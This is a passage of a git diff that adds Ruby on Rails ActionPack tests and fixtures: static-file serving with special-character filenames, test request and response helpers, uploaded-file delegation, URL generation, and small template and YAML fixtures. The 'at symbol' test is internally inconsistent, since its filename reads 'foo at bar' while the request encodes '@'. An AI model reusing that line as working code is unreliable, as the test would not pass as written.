+ with_static_file "/foo/foo&bar.html" do |file|
+ assert_html file, get("/foo/foo%26bar.html")
+ assert_html file, get("/foo/foo&bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_apostrophe_in_filename
+ with_static_file "/foo/foo'bar.html" do |file|
+ assert_html file, get("/foo/foo%27bar.html")
+ assert_html file, get("/foo/foo'bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_parentheses_in_filename
+ with_static_file "/foo/foo(bar).html" do |file|
+ assert_html file, get("/foo/foo%28bar%29.html")
+ assert_html file, get("/foo/foo(bar).html")
+ end
+ end
+
+ def test_serves_static_file_with_plus_sign_in_filename
+ with_static_file "/foo/foo+bar.html" do |file|
+ assert_html file, get("/foo/foo%2Bbar.html")
+ assert_html file, get("/foo/foo+bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_comma_in_filename
+ with_static_file "/foo/foo,bar.html" do |file|
+ assert_html file, get("/foo/foo%2Cbar.html")
+ assert_html file, get("/foo/foo,bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_semi_colon_in_filename
+ with_static_file "/foo/foo;bar.html" do |file|
+ assert_html file, get("/foo/foo%3Bbar.html")
+ assert_html file, get("/foo/foo;bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_at_symbol_in_filename
+ with_static_file "/foo/foo at bar.html" do |file|
+ assert_html file, get("/foo/foo%40bar.html")
+ assert_html file, get("/foo/foo at bar.html")
+ end
+ end
+
+ # Windows doesn't allow \ / : * ? " < > | in filenames
+ unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/
+ def test_serves_static_file_with_colon
+ with_static_file "/foo/foo:bar.html" do |file|
+ assert_html file, get("/foo/foo%3Abar.html")
+ assert_html file, get("/foo/foo:bar.html")
+ end
+ end
+
+ def test_serves_static_file_with_asterisk
+ with_static_file "/foo/foo*bar.html" do |file|
+ assert_html file, get("/foo/foo%2Abar.html")
+ assert_html file, get("/foo/foo*bar.html")
+ end
+ end
+ end
+
+ private
+
+ def assert_html(body, response)
+ assert_equal body, response.body
+ assert_equal "text/html", response.headers["Content-Type"]
+ end
+
+ def get(path)
+ Rack::MockRequest.new(@app).request("GET", path)
+ end
+
+ def with_static_file(file)
+ path = "#{FIXTURE_LOAD_PATH}/public" + file
+ File.open(path, "wb+") { |f| f.write(file) }
+ yield file
+ ensure
+ File.delete(path)
+ end
+end
+
+class StaticTest < ActiveSupport::TestCase
+ DummyApp = lambda { |env|
+ [200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
+ }
+ App = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
+
+ def setup
+ @app = App
+ end
+
+ include StaticTests
+end
diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb
new file mode 100644
index 0000000..3db862c
--- /dev/null
+++ b/actionpack/test/dispatch/test_request_test.rb
@@ -0,0 +1,69 @@
+require 'abstract_unit'
+
+class TestRequestTest < ActiveSupport::TestCase
+ test "sane defaults" do
+ env = ActionDispatch::TestRequest.new.env
+
+ assert_equal "GET", env.delete("REQUEST_METHOD")
+ assert_equal "off", env.delete("HTTPS")
+ assert_equal "http", env.delete("rack.url_scheme")
+ assert_equal "example.org", env.delete("SERVER_NAME")
+ assert_equal "80", env.delete("SERVER_PORT")
+ assert_equal "/", env.delete("PATH_INFO")
+ assert_equal "", env.delete("SCRIPT_NAME")
+ assert_equal "", env.delete("QUERY_STRING")
+ assert_equal "0", env.delete("CONTENT_LENGTH")
+
+ assert_equal "test.host", env.delete("HTTP_HOST")
+ assert_equal "0.0.0.0", env.delete("REMOTE_ADDR")
+ assert_equal "Rails Testing", env.delete("HTTP_USER_AGENT")
+
+ assert_equal [1, 2], env.delete("rack.version")
+ assert_equal "", env.delete("rack.input").string
+ assert_kind_of StringIO, env.delete("rack.errors")
+ assert_equal true, env.delete("rack.multithread")
+ assert_equal true, env.delete("rack.multiprocess")
+ assert_equal false, env.delete("rack.run_once")
+
+ assert env.empty?, env.inspect
+ end
+
+ test "cookie jar" do
+ req = ActionDispatch::TestRequest.new
+
+ assert_equal({}, req.cookies)
+ assert_equal nil, req.env["HTTP_COOKIE"]
+
+ req.cookie_jar["user_name"] = "david"
+ assert_cookies({"user_name" => "david"}, req.cookie_jar)
+
+ req.cookie_jar["login"] = "XJ-122"
+ assert_cookies({"user_name" => "david", "login" => "XJ-122"}, req.cookie_jar)
+
+ assert_nothing_raised do
+ req.cookie_jar["login"] = nil
+ assert_cookies({"user_name" => "david", "login" => nil}, req.cookie_jar)
+ end
+
+ req.cookie_jar.delete(:login)
+ assert_cookies({"user_name" => "david"}, req.cookie_jar)
+
+ req.cookie_jar.clear
+ assert_cookies({}, req.cookie_jar)
+
+ req.cookie_jar.update(:user_name => "david")
+ assert_cookies({"user_name" => "david"}, req.cookie_jar)
+ end
+
+ test "does not complain when Rails.application is nil" do
+ Rails.stubs(:application).returns(nil)
+ req = ActionDispatch::TestRequest.new
+
+ assert_equal false, req.env.empty?
+ end
+
+ private
+ def assert_cookies(expected, cookie_jar)
+ assert_equal(expected, cookie_jar.instance_variable_get("@cookies"))
+ end
+end
diff --git a/actionpack/test/dispatch/test_response_test.rb b/actionpack/test/dispatch/test_response_test.rb
new file mode 100644
index 0000000..dc17668
--- /dev/null
+++ b/actionpack/test/dispatch/test_response_test.rb
@@ -0,0 +1,21 @@
+require 'abstract_unit'
+
+class TestResponseTest < ActiveSupport::TestCase
+ def assert_response_code_range(range, predicate)
+ response = ActionDispatch::TestResponse.new
+ (0..599).each do |status|
+ response.status = status
+ assert_equal range.include?(status), response.send(predicate),
+ "ActionDispatch::TestResponse.new(#{status}).#{predicate}"
+ end
+ end
+
+ test "helpers" do
+ assert_response_code_range 200..299, :success?
+ assert_response_code_range [404], :missing?
+ assert_response_code_range 300..399, :redirect?
+ assert_response_code_range 500..599, :error?
+ assert_response_code_range 500..599, :server_error?
+ assert_response_code_range 400..499, :client_error?
+ end
+end
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
new file mode 100644
index 0000000..72f3d1d
--- /dev/null
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -0,0 +1,93 @@
+require 'abstract_unit'
+
+module ActionDispatch
+ class UploadedFileTest < ActiveSupport::TestCase
+ def test_constructor_with_argument_error
+ assert_raises(ArgumentError) do
+ Http::UploadedFile.new({})
+ end
+ end
+
+ def test_original_filename
+ uf = Http::UploadedFile.new(:filename => 'foo', :tempfile => Object.new)
+ assert_equal 'foo', uf.original_filename
+ end
+
+ def test_filename_should_be_in_utf_8
+ uf = Http::UploadedFile.new(:filename => 'foo', :tempfile => Object.new)
+ assert_equal "UTF-8", uf.original_filename.encoding.to_s
+ end
+
+ def test_content_type
+ uf = Http::UploadedFile.new(:type => 'foo', :tempfile => Object.new)
+ assert_equal 'foo', uf.content_type
+ end
+
+ def test_headers
+ uf = Http::UploadedFile.new(:head => 'foo', :tempfile => Object.new)
+ assert_equal 'foo', uf.headers
+ end
+
+ def test_tempfile
+ uf = Http::UploadedFile.new(:tempfile => 'foo')
+ assert_equal 'foo', uf.tempfile
+ end
+
+ def test_delegates_path_to_tempfile
+ tf = Class.new { def path; 'thunderhorse' end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal 'thunderhorse', uf.path
+ end
+
+ def test_delegates_open_to_tempfile
+ tf = Class.new { def open; 'thunderhorse' end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal 'thunderhorse', uf.open
+ end
+
+ def test_delegates_close_to_tempfile
+ tf = Class.new { def close(unlink_now=false); 'thunderhorse' end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal 'thunderhorse', uf.close
+ end
+
+ def test_close_accepts_parameter
+ tf = Class.new { def close(unlink_now=false); "thunderhorse: #{unlink_now}" end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal 'thunderhorse: true', uf.close(true)
+ end
+
+ def test_delegates_read_to_tempfile
+ tf = Class.new { def read(length=nil, buffer=nil); 'thunderhorse' end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal 'thunderhorse', uf.read
+ end
+
+ def test_delegates_read_to_tempfile_with_params
+ tf = Class.new { def read(length=nil, buffer=nil); [length, buffer] end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal %w{ thunder horse }, uf.read(*%w{ thunder horse })
+ end
+
+ def test_delegate_respects_respond_to?
+ tf = Class.new { def read; yield end; private :read }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_raises(NoMethodError) do
+ uf.read
+ end
+ end
+
+ def test_delegate_eof_to_tempfile
+ tf = Class.new { def eof?; true end; }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert uf.eof?
+ end
+
+ def test_respond_to?
+ tf = Class.new { def read; yield end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert uf.respond_to?(:headers), 'responds to headers'
+ assert uf.respond_to?(:read), 'responds to read'
+ end
+ end
+end
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
new file mode 100644
index 0000000..f919592
--- /dev/null
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -0,0 +1,102 @@
+require 'abstract_unit'
+
+module TestUrlGeneration
+ class WithMountPoint < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new
+ include Routes.url_helpers
+
+ class ::MyRouteGeneratingController < ActionController::Base
+ include Routes.url_helpers
+ def index
+ render :text => foo_path
+ end
+ end
+
+ Routes.draw do
+ get "/foo", :to => "my_route_generating#index", :as => :foo
+
+ mount MyRouteGeneratingController.action(:index), at: '/bar'
+ end
+
+ def _routes
+ Routes
+ end
+
+ def app
+ Routes
+ end
+
+ test "generating URLS normally" do
+ assert_equal "/foo", foo_path
+ end
+
+ test "accepting a :script_name option" do
+ assert_equal "/bar/foo", foo_path(:script_name => "/bar")
+ end
+
+ test "the request's SCRIPT_NAME takes precedence over the route" do
+ get "/foo", {}, 'SCRIPT_NAME' => "/new", 'action_dispatch.routes' => Routes
+ assert_equal "/new/foo", response.body
+ end
+
+ test "the request's SCRIPT_NAME wraps the mounted app's" do
+ get '/new/bar/foo', {}, 'SCRIPT_NAME' => '/new', 'PATH_INFO' => '/bar/foo', 'action_dispatch.routes' => Routes
+ assert_equal "/new/bar/foo", response.body
+ end
+
+ test "handling http protocol with https set" do
+ https!
+ assert_equal "http://www.example.com/foo", foo_url(:protocol => "http")
+ end
+
+ test "extracting protocol from host when protocol not present" do
+ assert_equal "httpz://www.example.com/foo", foo_url(host: "httpz://www.example.com", protocol: nil)
+ end
+
+ test "formatting host when protocol is present" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "httpz://www.example.com", protocol: "http://")
+ end
+
+ test "default ports are removed from the host" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:80", protocol: "http://")
+ assert_equal "https://www.example.com/foo", foo_url(host: "www.example.com:443", protocol: "https://")
+ end
+
+ test "port is extracted from the host" do
+ assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "http://")
+ end
+
+ test "port option overides the host" do
+ assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: 8080)
+ end
+
+ test "port option disables the host when set to nil" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: nil)
+ end
+
+ test "port option disables the host when set to false" do
+ assert_equal "http://www.example.com/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: false)
+ end
+
+ test "keep subdomain when key is true" do
+ assert_equal "http://www.example.com/foo", foo_url(subdomain: true)
+ end
+
+ test "keep subdomain when key is missing" do
+ assert_equal "http://www.example.com/foo", foo_url
+ end
+
+ test "omit subdomain when key is nil" do
+ assert_equal "http://example.com/foo", foo_url(subdomain: nil)
+ end
+
+ test "omit subdomain when key is false" do
+ assert_equal "http://example.com/foo", foo_url(subdomain: false)
+ end
+
+ test "omit subdomain when key is blank" do
+ assert_equal "http://example.com/foo", foo_url(subdomain: "")
+ end
+ end
+end
+
diff --git a/actionpack/test/fixtures/_top_level_partial.html.erb b/actionpack/test/fixtures/_top_level_partial.html.erb
new file mode 100644
index 0000000..0b1c2e4
--- /dev/null
+++ b/actionpack/test/fixtures/_top_level_partial.html.erb
@@ -0,0 +1 @@
+top level partial html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/_top_level_partial_only.erb b/actionpack/test/fixtures/_top_level_partial_only.erb
new file mode 100644
index 0000000..44f25b6
--- /dev/null
+++ b/actionpack/test/fixtures/_top_level_partial_only.erb
@@ -0,0 +1 @@
+top level partial
\ No newline at end of file
diff --git a/actionpack/test/fixtures/alternate_helpers/foo_helper.rb b/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
new file mode 100644
index 0000000..2528584
--- /dev/null
+++ b/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
@@ -0,0 +1,3 @@
+module FooHelper
+ redefine_method(:baz) {}
+end
diff --git a/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb b/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
new file mode 100644
index 0000000..d22af43
--- /dev/null
+++ b/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/blog_public/.gitignore b/actionpack/test/fixtures/blog_public/.gitignore
new file mode 100644
index 0000000..312e635
--- /dev/null
+++ b/actionpack/test/fixtures/blog_public/.gitignore
@@ -0,0 +1 @@
+absolute/*
diff --git a/actionpack/test/fixtures/blog_public/blog.html b/actionpack/test/fixtures/blog_public/blog.html
new file mode 100644
index 0000000..79ad44c
--- /dev/null
+++ b/actionpack/test/fixtures/blog_public/blog.html
@@ -0,0 +1 @@
+/blog/blog.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/blog_public/index.html b/actionpack/test/fixtures/blog_public/index.html
new file mode 100644
index 0000000..2de3825
--- /dev/null
+++ b/actionpack/test/fixtures/blog_public/index.html
@@ -0,0 +1 @@
+/blog/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/blog_public/subdir/index.html b/actionpack/test/fixtures/blog_public/subdir/index.html
new file mode 100644
index 0000000..517bded
--- /dev/null
+++ b/actionpack/test/fixtures/blog_public/subdir/index.html
@@ -0,0 +1 @@
+/blog/subdir/index.html
\ No newline at end of file
diff --git a/actionpack/test/fixtures/comments/empty.de.html.erb b/actionpack/test/fixtures/comments/empty.de.html.erb
new file mode 100644
index 0000000..cffd90d
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.de.html.erb
@@ -0,0 +1 @@
+<h1>Kein Kommentar</h1>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/comments/empty.html.builder b/actionpack/test/fixtures/comments/empty.html.builder
new file mode 100644
index 0000000..2b0c720
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.html.builder
@@ -0,0 +1 @@
+xml.h1 'No Comment'
\ No newline at end of file
diff --git a/actionpack/test/fixtures/comments/empty.html.erb b/actionpack/test/fixtures/comments/empty.html.erb
new file mode 100644
index 0000000..827f386
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.html.erb
@@ -0,0 +1 @@
+<h1>No Comment</h1>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/comments/empty.xml.erb b/actionpack/test/fixtures/comments/empty.xml.erb
new file mode 100644
index 0000000..db1027c
--- /dev/null
+++ b/actionpack/test/fixtures/comments/empty.xml.erb
@@ -0,0 +1 @@
+<error>No Comment</error>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/companies.yml b/actionpack/test/fixtures/companies.yml
new file mode 100644
index 0000000..ed2992e
--- /dev/null
+++ b/actionpack/test/fixtures/companies.yml
@@ -0,0 +1,24 @@
+thirty_seven_signals:
+ id: 1
+ name: 37Signals
+ rating: 4
+
+TextDrive:
+ id: 2
+ name: TextDrive
+ rating: 4
+
+PlanetArgon:
+ id: 3
+ name: Planet Argon
+ rating: 4
+
+Google:
+ id: 4
+ name: Google
+ rating: 4
+
+Ionist:
+ id: 5
+ name: Ioni.st
+ rating: 4
\ No newline at end of file
diff --git a/actionpack/test/fixtures/company.rb b/actionpack/test/fixtures/company.rb
new file mode 100644
index 0000000..f3ac364
--- /dev/null
+++ b/actionpack/test/fixtures/company.rb
@@ -0,0 +1,9 @@
+class Company < ActiveRecord::Base
+ has_one :mascot
+ self.sequence_name = :companies_nonstd_seq
+
+ validates_presence_of :name
+ def validate
+ errors.add('rating', 'rating should not be 2') if rating == 2
+ end
+end
diff --git a/actionpack/test/fixtures/custom_pattern/another.html.erb b/actionpack/test/fixtures/custom_pattern/another.html.erb
new file mode 100644
index 0000000..6d7f3ba
--- /dev/null
+++ b/actionpack/test/fixtures/custom_pattern/another.html.erb
@@ -0,0 +1 @@
+Hello custom patterns!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/custom_pattern/html/another.erb b/actionpack/test/fixtures/custom_pattern/html/another.erb
new file mode 100644
index 0000000..dbd7e96
--- /dev/null
+++ b/actionpack/test/fixtures/custom_pattern/html/another.erb
@@ -0,0 +1 @@
+Another template!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/custom_pattern/html/path.erb b/actionpack/test/fixtures/custom_pattern/html/path.erb
new file mode 100644
index 0000000..6d7f3ba
--- /dev/null
+++ b/actionpack/test/fixtures/custom_pattern/html/path.erb
@@ -0,0 +1 @@
+Hello custom patterns!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/customers/_customer.html.erb b/actionpack/test/fixtures/customers/_customer.html.erb
new file mode 100644
index 0000000..483571e
--- /dev/null
+++ b/actionpack/test/fixtures/customers/_customer.html.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/db_definitions/sqlite.sql b/actionpack/test/fixtures/db_definitions/sqlite.sql
new file mode 100644
index 0000000..99df4b3
--- /dev/null
+++ b/actionpack/test/fixtures/db_definitions/sqlite.sql
@@ -0,0 +1,49 @@
+CREATE TABLE 'companies' (
+ 'id' INTEGER PRIMARY KEY NOT NULL,
+ 'name' TEXT DEFAULT NULL,
+ 'rating' INTEGER DEFAULT 1
+);
+
+CREATE TABLE 'replies' (
+ 'id' INTEGER PRIMARY KEY NOT NULL,
+ 'content' text,
+ 'created_at' datetime,
+ 'updated_at' datetime,
+ 'topic_id' integer,
+ 'developer_id' integer
+);
+
+CREATE TABLE 'topics' (
+ 'id' INTEGER PRIMARY KEY NOT NULL,
+ 'title' varchar(255),
+ 'subtitle' varchar(255),
+ 'content' text,
+ 'created_at' datetime,
+ 'updated_at' datetime
+);
+
+CREATE TABLE 'developers' (
+ 'id' INTEGER PRIMARY KEY NOT NULL,
+ 'name' TEXT DEFAULT NULL,
+ 'salary' INTEGER DEFAULT 70000,
+ 'created_at' DATETIME DEFAULT NULL,
+ 'updated_at' DATETIME DEFAULT NULL
+);
+
+CREATE TABLE 'projects' (
+ 'id' INTEGER PRIMARY KEY NOT NULL,
+ 'name' TEXT DEFAULT NULL
+);
+
+CREATE TABLE 'developers_projects' (
+ 'developer_id' INTEGER NOT NULL,
+ 'project_id' INTEGER NOT NULL,
+ 'joined_on' DATE DEFAULT NULL,
+ 'access_level' INTEGER DEFAULT 1
+);
+
+CREATE TABLE 'mascots' (
+ 'id' INTEGER PRIMARY KEY NOT NULL,
+ 'company_id' INTEGER NOT NULL,
+ 'name' TEXT DEFAULT NULL
+);
\ No newline at end of file
diff --git a/actionpack/test/fixtures/developer.rb b/actionpack/test/fixtures/developer.rb
new file mode 100644
index 0000000..4941463
--- /dev/null
+++ b/actionpack/test/fixtures/developer.rb
@@ -0,0 +1,10 @@
+class Developer < ActiveRecord::Base
+ has_and_belongs_to_many :projects
+ has_many :replies
+ has_many :topics, :through => :replies
+ accepts_nested_attributes_for :projects
+end
+
+class DeVeLoPeR < ActiveRecord::Base
+ self.table_name = "developers"
+end
diff --git a/actionpack/test/fixtures/developers.yml b/actionpack/test/fixtures/developers.yml
new file mode 100644
index 0000000..3656564
--- /dev/null
+++ b/actionpack/test/fixtures/developers.yml
@@ -0,0 +1,21 @@
+david:
+ id: 1
+ name: David
+ salary: 80000
+
+jamis:
+ id: 2
+ name: Jamis
+ salary: 150000
+
+<% (3..10).each do |digit| %>
+dev_<%= digit %>:
+ id: <%= digit %>
+ name: fixture_<%= digit %>
+ salary: 100000
+<% end %>
+
+poor_jamis:
+ id: 11
+ name: Jamis
+ salary: 9000
\ No newline at end of file
diff --git a/actionpack/test/fixtures/developers/_developer.erb b/actionpack/test/fixtures/developers/_developer.erb
new file mode 100644
index 0000000..904a313
--- /dev/null
+++ b/actionpack/test/fixtures/developers/_developer.erb
@@ -0,0 +1 @@
+<%= developer.name %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/developers_projects.yml b/actionpack/test/fixtures/developers_projects.yml
new file mode 100644
index 0000000..cee359c
--- /dev/null
+++ b/actionpack/test/fixtures/developers_projects.yml
@@ -0,0 +1,13 @@
+david_action_controller:
+ developer_id: 1
+ project_id: 2
+ joined_on: 2004-10-10
+
+david_active_record:
+ developer_id: 1
+ project_id: 1
+ joined_on: 2004-10-10
+
+jamis_active_record:
+ developer_id: 2
+ project_id: 1
\ No newline at end of file
diff --git a/actionpack/test/fixtures/digestor/comments/_comment.html.erb b/actionpack/test/fixtures/digestor/comments/_comment.html.erb
new file mode 100644
index 0000000..f172e74
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/comments/_comment.html.erb
@@ -0,0 +1 @@
+Great story, bro!
diff --git a/actionpack/test/fixtures/digestor/comments/_comments.html.erb b/actionpack/test/fixtures/digestor/comments/_comments.html.erb
new file mode 100644
index 0000000..c28646a
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/comments/_comments.html.erb
@@ -0,0 +1 @@
+<%= render partial: "comments/comment", collection: commentable.comments %>
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/actionpack/test/fixtures/digestor/events/_event.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/fixtures/digestor/level/below/_header.html.erb b/actionpack/test/fixtures/digestor/level/below/_header.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/fixtures/digestor/level/below/index.html.erb b/actionpack/test/fixtures/digestor/level/below/index.html.erb
new file mode 100644
index 0000000..b92f49a
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/level/below/index.html.erb
@@ -0,0 +1 @@
+<%= render partial: "header" %>
diff --git a/actionpack/test/fixtures/digestor/messages/_form.html.erb b/actionpack/test/fixtures/digestor/messages/_form.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/fixtures/digestor/messages/_header.html.erb b/actionpack/test/fixtures/digestor/messages/_header.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/fixtures/digestor/messages/_message.html.erb b/actionpack/test/fixtures/digestor/messages/_message.html.erb
new file mode 100644
index 0000000..406a0fb
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/_message.html.erb
@@ -0,0 +1 @@
+THIS BE WHERE THEM MESSAGE GO, YO!
\ No newline at end of file
diff --git a/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb b/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb
new file mode 100644
index 0000000..e69de29
diff --git a/actionpack/test/fixtures/digestor/messages/edit.html.erb b/actionpack/test/fixtures/digestor/messages/edit.html.erb
new file mode 100644
index 0000000..a9e0a88
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/edit.html.erb
@@ -0,0 +1,5 @@
+<%= render "header" %>
+<%= render partial: "form" %>
+<%= render @message %>
+<%= render ( @message.events ) %>
+<%= render :partial => "comments/comment", :collection => @message.comments %>
diff --git a/actionpack/test/fixtures/digestor/messages/index.html.erb b/actionpack/test/fixtures/digestor/messages/index.html.erb
new file mode 100644
index 0000000..1937b65
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/index.html.erb
@@ -0,0 +1,2 @@
+<%= render @messages %>
+<%= render @events %>
diff --git a/actionpack/test/fixtures/digestor/messages/show.html.erb b/actionpack/test/fixtures/digestor/messages/show.html.erb
new file mode 100644
index 0000000..51b3b61
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/show.html.erb
@@ -0,0 +1,13 @@
+<%# Template Dependency: messages/message %>
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing" %>
+
+<%
+ # Template Dependency: messages/form
+%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/filter_test/implicit_actions/edit.html.erb b/actionpack/test/fixtures/filter_test/implicit_actions/edit.html.erb
new file mode 100644
index 0000000..8491ab9
--- /dev/null
+++ b/actionpack/test/fixtures/filter_test/implicit_actions/edit.html.erb
@@ -0,0 +1 @@
+edit
\ No newline at end of file
diff --git a/actionpack/test/fixtures/filter_test/implicit_actions/show.html.erb b/actionpack/test/fixtures/filter_test/implicit_actions/show.html.erb
new file mode 100644
index 0000000..0a89cec
--- /dev/null
+++ b/actionpack/test/fixtures/filter_test/implicit_actions/show.html.erb
@@ -0,0 +1 @@
+show
\ No newline at end of file
diff --git a/actionpack/test/fixtures/fun/games/_form.erb b/actionpack/test/fixtures/fun/games/_form.erb
new file mode 100644
index 0000000..01107f1
--- /dev/null
+++ b/actionpack/test/fixtures/fun/games/_form.erb
@@ -0,0 +1 @@
+<%= form.label :title %>
diff --git a/actionpack/test/fixtures/fun/games/_game.erb b/actionpack/test/fixtures/fun/games/_game.erb
new file mode 100644
index 0000000..f0f542f
--- /dev/null
+++ b/actionpack/test/fixtures/fun/games/_game.erb
@@ -0,0 +1 @@
+Fun <%= game.name %>
diff --git a/actionpack/test/fixtures/fun/games/hello_world.erb b/actionpack/test/fixtures/fun/games/hello_world.erb
new file mode 100644
index 0000000..1ebfbe2
--- /dev/null
+++ b/actionpack/test/fixtures/fun/games/hello_world.erb
@@ -0,0 +1 @@
+Living in a nested world
\ No newline at end of file
diff --git a/actionpack/test/fixtures/fun/serious/games/_game.erb b/actionpack/test/fixtures/fun/serious/games/_game.erb
new file mode 100644
index 0000000..523bc55
--- /dev/null
+++ b/actionpack/test/fixtures/fun/serious/games/_game.erb
@@ -0,0 +1 @@
+Serious <%= game.name %>
diff --git a/actionpack/test/fixtures/functional_caching/_partial.erb b/actionpack/test/fixtures/functional_caching/_partial.erb
new file mode 100644
index 0000000..ec0da7c
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/_partial.erb
@@ -0,0 +1,3 @@
+<% cache do %>
+Old fragment caching in a partial
+<% end %>
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
new file mode 100644
index 0000000..9b88fa1
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.html.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache do %><p>ERB</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
new file mode 100644
index 0000000..efdcc28
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached.xml.builder
@@ -0,0 +1,5 @@
+xml.body do
+ cache do
+ xml.p "Builder"
+ end
+end
diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
new file mode 100644
index 0000000..fa5e6bd
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/fragment_cached.html.erb
@@ -0,0 +1,3 @@
+Hello
+<%= cache do %>This bit's fragment cached<% end %>
+<%= 'Ciao' %>
diff --git a/actionpack/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb b/actionpack/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
new file mode 100644
index 0000000..3125583
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache 'nodigest', skip_digest: true do %><p>ERB</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb b/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
new file mode 100644
index 0000000..a9462d3
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/html_fragment_cached_with_partial.html.erb
@@ -0,0 +1 @@
+<%= render :partial => 'partial' %>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb b/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
new file mode 100644
index 0000000..41647f1
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/inline_fragment_cached.html.erb
@@ -0,0 +1,2 @@
+<%= render :inline => 'Some inline content' %>
+<%= cache do %>Some cached content<% end %>
diff --git a/actionpack/test/fixtures/games/_game.erb b/actionpack/test/fixtures/games/_game.erb
new file mode 100644
index 0000000..1aeb81f
--- /dev/null
+++ b/actionpack/test/fixtures/games/_game.erb
@@ -0,0 +1 @@
+Just <%= game.name %>
diff --git a/actionpack/test/fixtures/good_customers/_good_customer.html.erb b/actionpack/test/fixtures/good_customers/_good_customer.html.erb
new file mode 100644
index 0000000..a2d97eb
--- /dev/null
